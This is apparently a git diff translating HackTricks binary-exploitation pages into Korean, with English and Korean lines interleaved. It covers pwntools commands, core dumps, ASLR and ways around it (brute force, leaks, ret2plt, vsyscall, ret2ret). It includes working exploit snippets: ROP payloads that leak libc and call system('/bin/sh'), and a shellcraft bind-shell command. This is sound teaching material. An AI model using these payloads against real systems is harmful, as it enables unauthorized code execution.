**선택할 수 있습니다:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- 표시할 바이트 수
- 하이라이트 바이트당 바이트 수
- 시작 부분의 바이트 건너뛰기
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
쉘코드 가져오기
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**선택할 수 있는 항목:**
**Can select:**
- 쉘코드 및 쉘코드에 대한 인수
- 출력 파일
- 출력 형식
- 디버그 (쉘코드에 dbg 연결)
- 이전 (코드 이전에 디버그 트랩)
- 이후
- opcodes 사용 피하기 (기본값: null 및 새 줄 아님)
- 쉘코드 실행
- 색상/무색상
- 시스템 호출 목록
- 가능한 쉘코드 목록
- ELF를 공유 라이브러리로 생성
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Pwn 템플릿
파이썬 템플릿 가져오기
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**선택할 수 있는 항목:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용함
## Pwn unhex
From hex to string
16진수에서 문자열로
```
pwn unhex 686f6c61
```
## Pwn 업데이트
## Pwn update
To update pwntools
pwntools를 업데이트하려면
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# 일반적인 바이너리 익스플로잇 보호 및 우회
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## 코어 파일 활성화
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**코어 파일**은 프로세스가 충돌할 때 운영 체제에 의해 생성되는 파일의 일종입니다. 이 파일은 프로세스 종료 시점의 메모리 이미지를 캡처하며, 프로세스의 메모리, 레지스터 및 프로그램 카운터 상태 등 여러 세부 정보를 포함합니다. 이 스냅샷은 디버깅 및 충돌 원인 이해에 매우 유용할 수 있습니다.
### **Enabling Core Dump Generation**
### **코어 덤프 생성 활성화**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
기본적으로 많은 시스템은 디스크 공간을 절약하기 위해 코어 파일의 크기를 0으로 제한합니다(즉, 코어 파일을 생성하지 않음). 코어 파일 생성을 활성화하려면 **`ulimit`** 명령(배시 또는 유사한 셸에서) 또는 시스템 전체 설정을 구성할 수 있습니다.
- **ulimit 사용**: `ulimit -c unlimited` 명령은 현재 셸 세션이 무제한 크기의 코어 파일을 생성할 수 있도록 합니다. 이는 디버깅 세션에 유용하지만 재부팅이나 새로운 세션 간에 지속되지 않습니다.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **지속적인 구성**: 보다 영구적인 솔루션을 위해 `/etc/security/limits.conf` 파일을 편집하여 `* soft core unlimited`와 같은 줄을 추가할 수 있습니다. 이는 모든 사용자가 세션에서 수동으로 ulimit을 설정하지 않고도 무제한 크기의 코어 파일을 생성할 수 있도록 허용합니다.
```markdown
- soft core unlimited
```
### **GDB로 코어 파일 분석하기**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
코어 파일을 분석하려면 GDB(GNU 디버거)와 같은 디버깅 도구를 사용할 수 있습니다. 코어 덤프를 생성한 실행 파일이 있고 코어 파일 이름이 `core_file`이라고 가정하면, 분석을 시작할 수 있습니다:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
이 명령은 실행 파일과 코어 파일을 GDB에 로드하여 충돌 시 프로그램의 상태를 검사할 수 있게 해줍니다. GDB 명령을 사용하여 스택을 탐색하고, 변수를 검사하며, 충돌의 원인을 이해할 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 **메모리 주소를 무작위화**하는 보안 기술입니다. 이를 통해 공격자가 특정 프로세스와 데이터(예: 스택, 힙 및 라이브러리)의 위치를 예측하기가 훨씬 더 어려워지며, 특정 유형의 익스플로잇, 특히 버퍼 오버플로우를 완화합니다.
### **Checking ASLR Status**
### **ASLR 상태 확인**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Linux 시스템에서 **ASLR 상태를 확인**하려면 **`/proc/sys/kernel/randomize_va_space`** 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR의 유형을 결정합니다:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: 무작위화 없음. 모든 것이 정적입니다.
- **1**: 보수적 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
- **2**: 완전 무작위화. 보수적 무작위화에 의해 무작위화된 요소 외에도 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR 비활성화**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
ASLR를 **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR 비활성화는 일반적으로 테스트나 디버깅 시나리오 외에서는 권장되지 않습니다. ASLR를 비활성화하는 방법은 다음과 같습니다:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
실행에 대해 ASLR을 비활성화할 수도 있습니다:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR 활성화**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
ASLR를 **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 기록하면 됩니다. 일반적으로 이는 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령어를 사용할 수 있습니다:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **재부팅 간 지속성**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
`echo` 명령어로 만든 변경 사항은 일시적이며 재부팅 시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하고 다음 줄을 추가하거나 수정해야 합니다:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
`/etc/sysctl.conf`를 편집한 후, 변경 사항을 적용하려면:
```bash
sudo sysctl -p
```
이것은 재부팅 간에 ASLR 설정이 유지되도록 보장합니다.
This will ensure that your ASLR settings remain across reboots.
## **우회**
## **Bypasses**
### 32비트 무차별 대입
### 32bit brute-forcing
PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
PaX divides the process address space into **3 groups**:
- **코드 및 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16 비트**의 엔트로피. 이 변수는 각 프로세스와 함께 무작위로 초기화되며 초기 주소에 추가됩니다.
- `mmap()`에 의해 할당된 **메모리****공유 라이브러리** —> **16 비트**, `delta_mmap`이라고 불립니다.
- **스택** —> **24 비트**, `delta_stack`이라고 합니다. 그러나 실제로는 **11 비트**를 사용합니다 (10번째 바이트부터 20번째 바이트까지 포함), **16 바이트**에 정렬됩니다 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다.
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
이전 데이터는 32비트 시스템에 해당하며, 감소된 최종 엔트로피는 ASLR을 우회할 수 있게 하여 실행을 반복하여 익스플로잇이 성공적으로 완료될 때까지 시도할 수 있습니다.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### 무차별 대입 아이디어:
- **큰 NOP 슬레드**를 쉘코드 앞에 호스팅할 수 있을 만큼 큰 오버플로우가 있다면, 스택에서 주소를 무작위로 대입하여 흐름이 **NOP 슬레드의 일부를 넘어 점프할 때까지** 시도할 수 있습니다.
- 오버플로우가 그리 크지 않고 익스플로잇을 로컬에서 실행할 수 있는 경우, **환경 변수에 NOP 슬레드와 쉘코드를 추가하는** 옵션도 가능합니다.
- 익스플로잇이 로컬인 경우, libc의 기본 주소를 무작위로 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- 원격 서버를 공격하는 경우, `usleep` 함수의 `libc` 주소를 **브루트 포스**하여 10을 인수로 전달해 볼 수 있습니다(예: 10). 만약 어느 시점에서 **서버가 응답하는 데 10초가 추가로 걸린다면**, 이 함수의 주소를 찾은 것입니다.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> 64비트 시스템에서는 엔트로피가 훨씬 높아지므로 이는 불가능해야 합니다.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### 64비트 스택 브루트 포스
환경 변수를 사용하여 스택의 큰 부분을 차지한 다음, 이를 악용하기 위해 로컬에서 수백/수천 번 이진 파일을 시도할 수 있습니다.\
다음 코드는 **스택에서 주소를 선택하는 것만으로** 가능하며, **수백 번의 실행**마다 해당 주소는 **NOP 명령어**를 포함하게 됩니다:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### 로컬 정보 (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
프로세스의 파일 **`/proc/[pid]/stat`**는 항상 모든 사람이 읽을 수 있으며, **흥미로운** 정보가 포함되어 있습니다:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: 바이너리의 **TEXT** 위와 아래의 주소
- **startstack**: **스택** 시작의 주소
- **start_data** & **end_data**: **BSS** 위와 아래의 주소
- **kstkesp** & **kstkeip**: 현재 **ESP****EIP** 주소
- **arg_start** & **arg_end**: **cli arguments** 위와 아래의 주소
- **env_start** & **env_end**: **env variables** 위와 아래의 주소
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
따라서, 공격자가 악용되는 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 원시 인수에서 오버플로우를 기대하지 않지만, 이 파일을 읽은 후에 조작할 수 있는 다른 **입력**에서 오버플로우를 기대하는 경우, 공격자는 **이 파일에서 일부 주소를 가져와서 이를 기반으로 오프셋을 구성할 수 있습니다**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> 이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`를 검색하여 확인하세요.
### Having a leak
### 누수 발생
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **도전 과제는 누수를 제공하는 것입니다**
누수를 제공받으면(쉬운 CTF 도전 과제), 이를 기반으로 오프셋을 계산할 수 있습니다(예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정할 때). 이 예제 익스플로잇은 [**여기에서의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 발췌한 것입니다(자세한 내용은 해당 페이지를 확인하세요):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
버퍼 오버플로우를 악용하여 **ret2plt**를 이용해 libc의 함수 주소를 유출할 수 있습니다. 확인해 보세요:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하다면 GOT에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음 [**예시는 여기에서 가져온 것입니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
더 많은 정보는 Format Strings 임의 읽기에 대해 다음에서 찾을 수 있습니다:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
스택 내 주소를 악용하여 ASLR을 우회해 보십시오:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
**`vsyscall`** 메커니즘은 특정 시스템 호출이 사용자 공간에서 실행될 수 있도록 하여 성능을 향상시키는 역할을 합니다. 이들은 본질적으로 커널의 일부입니다. **vsyscalls**의 주요 장점은 **ASLR**(주소 공간 레이아웃 무작위화)의 영향을 받지 않는 **고정 주소**에 있습니다. 이러한 고정된 특성 덕분에 공격자는 주소를 결정하고 이를 익스플로잇에 사용할 정보 유출 취약점이 필요하지 않습니다.\
그러나 여기에서 매우 흥미로운 가젯은 발견되지 않을 것입니다(예를 들어 `ret;`와 동등한 것을 얻는 것은 가능하지만).
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(다음 예제와 코드는 [**이 작성물에서**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) 가져온 것입니다)
예를 들어, 공격자는 익스플로잇 내에서 주소 `0xffffffffff600800`을 사용할 수 있습니다. `ret` 명령어로 직접 점프하려고 하면 몇 개의 가젯을 실행한 후 불안정성이나 충돌이 발생할 수 있지만, **vsyscall** 섹션에서 제공하는 `syscall`의 시작으로 점프하면 성공할 수 있습니다. 이 **vsyscall** 주소로 실행을 이끄는 **ROP** 가젯을 신중하게 배치함으로써, 공격자는 이 익스플로잇 부분에 대해 **ASLR**을 우회할 필요 없이 코드 실행을 달성할 수 있습니다.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 **vdso를 악용하여 ASLR을 우회**할 수 있는 방법을 주목하십시오. 더 많은 정보는 다음을 확인하십시오:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -4,38 +4,35 @@
## Basic Information
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
이 기술의 목표는 **ASLR을 우회하기 위해 PLT의 함수에서 주소를 누출하는 것**입니다. 예를 들어, libc의 `puts` 함수의 주소를 누출하면, **`libc`의 기본 주소를 계산하고** 다른 함수에 접근하기 위한 오프셋을 계산할 수 있습니다.
이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기에서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
**`puts`** (PLT의 주소를 사용하여)가 GOT(전역 오프셋 테이블)에 위치한 `puts`의 주소로 호출되는 방식을 주목하세요. 이는 `puts``puts`의 GOT 항목을 출력할 때, 이 **항목이 메모리에서 `puts`의 정확한 주소를 포함하게 되기 때문입니다**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
또한 `main`의 주소가 익스플로잇에서 사용되어 `puts`의 실행이 끝날 때 **바이너리가 종료되는 대신 `main`을 다시 호출합니다** (따라서 누출된 주소는 계속 유효합니다).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> 이 작업이 수행되기 위해서는 **바이너리가 PIE로 컴파일될 수 없거나, PLT, GOT 및 main의 주소를 알기 위해 PIE를 우회할 수 있는 **누출을 찾아야 합니다**. 그렇지 않으면 먼저 PIE를 우회해야 합니다.
[**이 우회에 대한 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 그 **예제**에서의 최종 익스플로잇이었습니다:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## 다른 예제 및 참고자료
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64비트, ASLR 활성화, PIE 없음, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채운 다음 puts를 호출하여 leak하는 것입니다. canary로 ROP 가젯을 생성하여 puts를 호출하여 GOT에서 puts의 주소를 leak하고, `system('/bin/sh')`를 호출하는 ROP 가젯을 생성합니다.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64비트, ASLR 활성화, canary 없음, 자식 함수에서 main의 스택 오버플로우. ROP 가젯을 사용하여 puts를 호출하여 GOT에서 puts의 주소를 leak한 다음 one gadget을 호출합니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
이 기술의 주요 **목표**는 **스택에 있는 기존 포인터를 악용하여 ASLR을 우회하려고 시도하는 것입니다**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
기본적으로, 스택 오버플로우는 일반적으로 문자열로 인해 발생하며, **문자열은 메모리에서 끝에 널 바이트로 끝납니다**. 이는 스택에 이미 존재하는 포인터가 가리키는 위치를 줄이려고 시도할 수 있게 합니다. 따라서 스택에 `0xbfffffdd`가 포함되어 있다면, 이 오버플로우는 이를 `0xbfffff00`으로 변환할 수 있습니다(마지막 제로 바이트에 주목).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
그 주소가 스택의 셸코드를 가리킨다면, **`ret` 명령어에 주소를 추가하여** 그 주소에 도달할 수 있습니다.
Therefore the attack would be like this:
따라서 공격은 다음과 같습니다:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- NOP 슬레드
- 셸코드
- **`ret`에 대한 주소로 EIP에서 스택을 덮어쓰기** (RET 슬레드)
- 문자열에 의해 추가된 0x00이 스택의 주소를 수정하여 NOP 슬레드를 가리키게 만듭니다.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
[**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)를 따라가면 취약한 바이너리의 예를 볼 수 있고, [**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)에서는 익스플로잇을 볼 수 있습니다.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
